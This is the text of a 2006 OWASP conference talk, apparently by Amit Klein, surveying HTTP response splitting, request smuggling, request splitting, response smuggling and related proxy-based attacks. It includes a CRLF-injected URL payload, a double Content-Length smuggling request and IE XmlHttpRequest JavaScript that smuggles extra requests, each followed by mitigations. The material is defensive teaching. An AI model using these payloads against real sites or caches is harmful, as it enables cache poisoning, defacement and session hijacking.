HTTP Message Splitting, Smuggling and Other Animals

Copyright © 2006 - The OWASP FoundationPermission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License.

The OWASP Foundation

OWASP

AppSec

Europe

May 2006 http://www.owasp.org/

HTTP Message Splitting, Smuggling and Other Animals

Amit Klein, OWASP-Israel steering committee member/leaderBoard member, [email protected]

OWASP AppSec Europe 2006 2

Introduction ([1])


Peripheral Web Attacks

“Classic” web attacks – focus on server (web) and its backend (app, DB). Acknowledge the existence of a browser…Server attacks (Nimda, CodeRed)Application attacksBack-end/DB attacks (SQL injection, *-injection)Session hijacking, XSS

Peripheral web attacks (2004-) – focus on what’s between the server and the client – how introducing HTTP enabled intermediaries makes the system less secure. [A note about virtual hosting]


Terminology

(HTTP-enabled) Intermediary – an HTTP enabled device/filter/thingy that processes the traffic between the browser and the web server at the HTTP level.

Peripheral web attack – an attack against a system that contains at least one HTTP-enabled intermediary, which is made possible due to the introduction of this intermediary. The attack makes use of the data stream (not the control stream).


HTTP Enabled Intermediaries

Cache server (on-site) Cache server (client side) SSL accelerator (SSL termination) Load balancer Reverse proxy server (on-site) Forward/transparent proxy server (client

side) IDS/HTTP-aware firewall Web Application Firewall (WAF) (the browser’s cache) …


Root problems

Application (insecure code) Liberal HTTP Parsing HTTP connection sharing – breaks some

inherent assumptions, “inherent trust” Acting upon HTTP messages at large Caching – less control over the site

content as seen by the browser, no “reset”/”versioning”. Serious amplification (time, clients)


The HRS Quartet


The HRS Quartet

Adagio: HTTP Response SplittingWeb cache poisoning

Larghetto: HTTP Request Smuggling Allegro: HTTP Request Splitting Vivace: HTTP Response Smuggling


Terminology

HTTP … Splitting – forcing an originator of HTTP messages to emit 2 (or more) valid (RFC-compliant) messages instead of one.

HTTP … Smuggling – [forcing] an originator of HTTP messages to emit a stream of data that can be interpreted in more than one way, usually due to non-compliancy to the RFC.


The HRS Quartet:Part I – Adagio: HTTP Response Splitting ([2])


The basic idea

The security hole – an application that:Embeds user data in HTTP response headers

(e.g. Location, Set-Cookie)Does so without sanitizing data

This enables the attacker to force the server into sending (on the wire) data that

is interpreted as 2 HTTP response messages.


Example

ASP page (say http://www.the.site/welcome.asp?lang=...)

<% Response.Redirect

"http://www.the.site/new_page.asp?lang=" & Request.QueryString("lang") %>

Normal request:http://www.the.site/welcome.asp?lang=Hebrew

Normal Response:

HTTP/1.0 302 RedirectLocation: http://www.the.site/new_page.asp?lang=HebrewConnection: Keep-AliveContent-Length: 0


Example (contd.)

Attack request http://www.the.site/welcome.asp?lang=Foo%0d%0aConnection:%20Keep-Alive%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0a%0aContent-Length:%2020%0d%0a%0d%0a<html>Gotcha!</html>

Response (actually, 2 responses and some change):

HTTP/1.0 302 RedirectLocation: http://www.the.site/new_page.asp?lang=FooConnection: Keep-AliveContent-Length: 0

HTTP/1.0 200 OKContent-Type: text/htmlContent-Length: 20

<html>Gotcha</html>Connection: Keep-AliveContent-Length: 0


Web Cache Poisoning

Let’s change http://www.the.site/index.html into a “Gotcha!” page.

Participants: Web site (with the vulnerability) Cache proxy server Attacker

Attack idea: The attacker sends two requests:

1. HTTP response splitter2. An innocent request for http://www.the.site/index.html

The proxy server will match the first request to the first response, and the second (“innocent”) request to the second response (the “Gotcha!” page), thus caching the attacker’s contents.


Web Cache Poisoning -> Attack Flow Sequence

Attacker Cache-Proxy Web Server

302

302

200 (Gotcha!)

1st attacker request (response splitter) 1st attacker request

(response splitter)

2nd attacker request(innocent /index.html)

2nd attacker request(innocent /index.html)

200 (Gotcha!) 200

(Welcome)


Crossing Wires

Response Hijacking, temporary defacement - Slide 15 revisited (see next slide)

Doesn’t require caching

Requires “connection sharing” (two clients to one server) in the proxy server

Theoretic results


Crossing Wires -> Attack Flow Sequence

Attacker Proxy Web Server

302302

200 (Gotcha!)

1st attacker request (response splitter) 1st attacker request

(response splitter)

request/account?id=victim

200 (Gotcha!)

200 (Victim’s account data)

Victim

request/index.html

request/index.html

200 (Victim’s account data)


Attacks round-up

We have seen: Web cache poisoning Response hijacking Temporary defacement (server side XSS+

+)

Additionally, there are (check the paper - [2])

XSS for IE in 3xx scenario (attacks related to virtual hosting)


Solution

Application level – do not pass “bad” data to the framework (i.e., sanitize CRs and LFs).

Framework (ASP, JSP, PHP, …) level – do not embed “bad” data into HTTP response headers.

Intermediaries (proxy servers, etc.):Enforce causality (request before response)PSH bit? (see [7])Avoid connection sharing

Site ownersSSL only site (still leaves browser cache and post

SSL termination uncovered)


The HRS Quartet:Part II – Larghetto: HTTP Request Smuggling

([3])


Basic Idea + Example

POST request with double Content-Length header

RFC says “thou shalt not”. Liberalism says “let’s try to understand thi

s”. SunONE server (6.1 SP1) takes the first

header. SunONE proxy (3.6 SP4) takes the last

header.


Goal: cache server will cache the content of /poison.html for the resource /welcome.html

POST http://SITE/foobar.html HTTP/1.1...Content-Length: 0Content-Length: 44

GET /poison.html HTTP/1.1Host: SITEBla: GET http://SITE/welcome.html HTTP/1.1

Web cache poisoning (example)

Proxy:1. /foobar.html2. /welcome.html

Server:1. /foobar.html2. /poison.html


Example result

Proxy sees a second request to /welcome.html, and will cache the second response.

Web server sees a second request to /poison.html, so the second response would be the contents of /poison.html.

The proxy will cache the contents of /poison.html for the URL /welcome.html

Net result – the cache is (partially) poisoned


Partial poisoning

Unlike “HTTP Response splitting”, there’s no full control over the poisonous payload:Poison must already exist on the serverPoison must be cacheable

But think blogs, forums, talkbacks, guestbooks, personal pages, ….


And it’s not just double Content-Length…

Many (battle proven) anomalies Double Content-Length Transfer-Encoding and Content-Length CRLF+CR+CRLF GET with Content-Length CRLF+SP+CRLF IIS 48KB body bug/feature ([4]) Many more…

Many pairs of vulnerable devices Apache with everything… IIS with everything… Many more…


Attack vectors

We have seen Partial cache poisoning

Additionally, there are (check the paper - [3])

IPS/IDS/Firewall/WAF bypassing Other tricks similar to HTTP Response

Splitting


Solution

HTTP-enabled intermediary vendorsBe strict in what you accept ;-)

Ideally: do not “fix” bad data – kill it… (feasible?) Otherwise: “fix” bad data

Avoid connection sharing

SitesSSL only sitePatch


The HRS Quartet:Part III – Allegro: HTTP Request Splitting

([9], [12])


Motivation

Goal: (part I) Forging “difficult” headers (e.g. Referer)

Importance: subverts “defenses” that rely on Referer, e.g. suggestions for CSRF protection, anti-leaching, etc.

(part I) Scanning (e.g. internal networks) Importance: ability to access content of “off site” pages

(part II) General XSS (part II) “local defacement” (browser cache poisoning)

Usual suspect: XmlHttpRequest Restricted by same origin security policy (enforced by

the browser).

Now if there’s a proxy (or virtual server)…


Attack (Referer spoofing, scanning)

Using XmlHttpRequest Sending more 2+ requests instead of one “Under the radar” of the browser Example

IE’s XmlHttpRequest object doesn’t allow SP in the method. But HT (\t) is allowed, and so are CR (\r) and LF (\n)

The following JS code crafts 2 requests (to the proxy) where IE thinks it’s sending only one

Code resides in www.attacker.site, yet accesses www.target.site

var x = new ActiveXObject("Microsoft.XMLHTTP");

x.open("GET\thttp://www.target.site/page.cgi?parameters\tHTTP/1.0\r\nHost:\twww.target.site\r\nReferer:\thttp://www.target.site/somepath?somequery\r\n\r\nGET\thttp://nosuchhost/\tHTTP/1.0\r\nFoobar:","http://www.attacker.site/",false);

x.send();


Attack (XSS, browser cache poisoning)

Example (IE+Squid forward proxy)

var x = new ActiveXObject("Microsoft.XMLHTTP");

x.open("GET\thttp://www.attacker.site/dummy.html\tHTTP/1.1\r\nHost:\twww.attacker.site\r\nConnection:\tKeep-Alive\r\n\r\nGET","/payload.html",false);

x.send();window.open("http://www.target.site");


Solution

Browser vendorsStrict sanitation/validation of the various

XmlHttpRequest fields (method, URL, headers)

SitesSSL only site


The HRS Quartet:Part IV – Vivace: HTTP Response Smuggling

([11])


Quick tour

Basic setup: HTTP Response Splitting Goal: bypass “anti HTTP Response Splittin

g ” restrictions by crafting non-standard responsesWill only work on a portion of the HTTP-enabled

entities – those that parse those non-standard responses in a “friendly” manner.


Example – bypassing PHP 5.1.2 (and 4.4.2) anti HTTP Response Splitting defense

Newest PHP releases impose heavy restrictions on LF-infested data sent to header() LF is only allowed when followed by a SP/HT (HTTP

header continuation syntax) No more …%0d%0a%0d%0a… exploits Enters HTTP Response Smuggling Using CR only (not CRLF).

Non compliance with the RFCs. Still, SunONE 4.0 proxy/cache server happily accepts

this and normalizes it. Net effect: HTTP Response Splitting (with all its

impact) is still possible, provided that the cache/proxy server accepts CR.

See other tricks in the paper ([11])


Solution

Application programmersSanitize data going to HTTP headers against

CR and LF.

Web server/framework vendorsStricter filtering (no CRs, no LFs)

HTTP-enabled intermediariesReject non RFC-compliant responses

Site ownersSSL only site


Domain Contamination ([10])


Basic scenario

You’re hacked Defacement Web cache poisoning Domain hijacking Cyber-squatting (no hacking really)

Goal: effectively extending the defacement condition “forever”, esp. after the attack is “reversed”.

By carefully designing the attack, the attacker can cause defaced pages to be cached for very long time.

Cached pages can Interact with real content (same domain!) Interact with (and direct the victim to ) the

attacker’s site


Solution

Don’t get hacked ;-) Use SSL only (addresses some vectors, not

all) No simple solution:

Need to extend the cache “protocol”/headers?Other suggestions in [10]


Cross Site Tracing in proxy servers ([6])


Cross-Site Tracing (XST) Strikes Back

Original XST ([5]) uses TRACE response from the web server. Since 2003, TRACE is usually turned off in web servers.

Goal: given XSS condition, extend it to cover HttpOnly cookies and HTTP basic authentication credentials (a-la the original XST)

TRACE is also supported by proxy servers. Used with Max-Forwards to “debug” proxy paths. Max-Forwards: 0 The proxy response is just as good… Better yet: the server never sees what (doesn’t)

hit it…


Solution

HTTP-enabled intermediariesDisallow TRACE

Browser vendorsDisallow TRACE as a method in

XmlHttpRequest. Disallow any non-alphanumeric method in

XmlHttpRequest.


NTLM HTTP Authentication and proxies don’t mix ([8])


NTLM HTTP Authentication and connection sharing

NTLM HTTP authentication is connection oriented – the first HTTP request on the TCP connection is authenticated, and the rest don’t need authentication.

Goal: piggyback an authenticated connection of a legitimate user.

Connection sharing scenario = big problem Microsoft silently added “via” detection,

killing the connection-orientedness. But Via is not sent by all proxy servers. Chain of proxies


Solution

Site ownersAbandon NTLM HTTP Auth

Proxy vendorsDon’t share connectionsSend VIA by default


Summary


Root problems revisited

Application (insecure code)HTTP Response Splitting, HTTP Response SmugglingBrowser “bugs”: XST++, HTTP Request Splitting

Liberal HTTP ParsingHTTP Request Smuggling, HTTP Response

Smuggling HTTP connection sharing

HTTP Response Splitting, NTLM HTTP Auth problem Acting upon HTTP messages at large

XST++ Caching

HRS (all four), Domain Contamination


Common solutions

Application level (programmers, browser vendors)Programmers: SanitationBrowser vendors: Browser “bugs” – trivial

sanitation… Liberal HTTP Parsing (vendors)

Drop (or fix) non-RFC-compliant requests HTTP connection sharing (vendors)

Avoid Use SSL (site owners)

SSL only websites are transparent to outside-the-perimeter intermediaries, except the browser cache


Summary

HTTP-enabled intermediaries enable new classes of attacks

Previously “safe” features are now root causes Writing to HTTP headers Connection sharing Liberal HTTP parsing Some HTTP features in intermediaries (e.g. TRACE) Caching

Site owners have less control HTTP intermediaries outside the perimeter Non-trivial analysis: interaction between intermediaries,

server and browser Vulnerability assessment is never comprehensive Mitigation

Tip of the iceberg?


Q&A


References[1] “Meanwhile, on the other side of the web server” (Amit Klein, June 2005) http://www.securityfocus.com/archive/1/401866[2] “Divide and Conquer - HTTP Response Splitting, Web Cache Poisoning Attacks, and Other Topics” (Amit Klein, March 2004) http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf[3] “HTTP Request Smuggling” (Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin, June 2005) http://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf[4] “HTTP Request Smuggling - ERRATA (the IIS 48K buffer phenomenon)” (Amit Klein, September 2005) http://www.securityfocus.com/archive/1/411418[5] “Cross-Site Tracing (XST)” (Jeremiah Grossman, January 2003) http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf[6] “XST Strikes Back” (Amit Klein, January 2006) http://www.securityfocus.com/archive/1/423028[7] “Detecting and Preventing HTTP Response Splitting and HTTP Request Smuggling Attacks at the TCP Level” (Amit Klein, August 2005) http://www.securityfocus.com/archive/1/408135[8] “NTLM HTTP Authentication is Insecure by Design” (Amit Klein, July 2005) http://www.securityfocus.com/archive/1/405541[9] “Exploiting the XmlHttpRequest object in IE - Referrer spoofing, and a lot more...” (Amit Klein, September 2005) http://www.securityfocus.com/archive/1/411585[10] “Domain Contamination” (Amit Klein, January 2006) http://www.webappsec.org/projects/articles/020606.txt[11] “HTTP Response Smuggling” (Amit Klein, March 2006) http://www.securityfocus.com/archive/1/425593[12] “IE + some popular forward proxy servers = XSS, defacement (browser cache poisoning)” (Amit Klein, May 2006) http://www.securityfocus.com/archive/107/434653

Documents

HTTP Message Splitting, Smuggling and Other Animals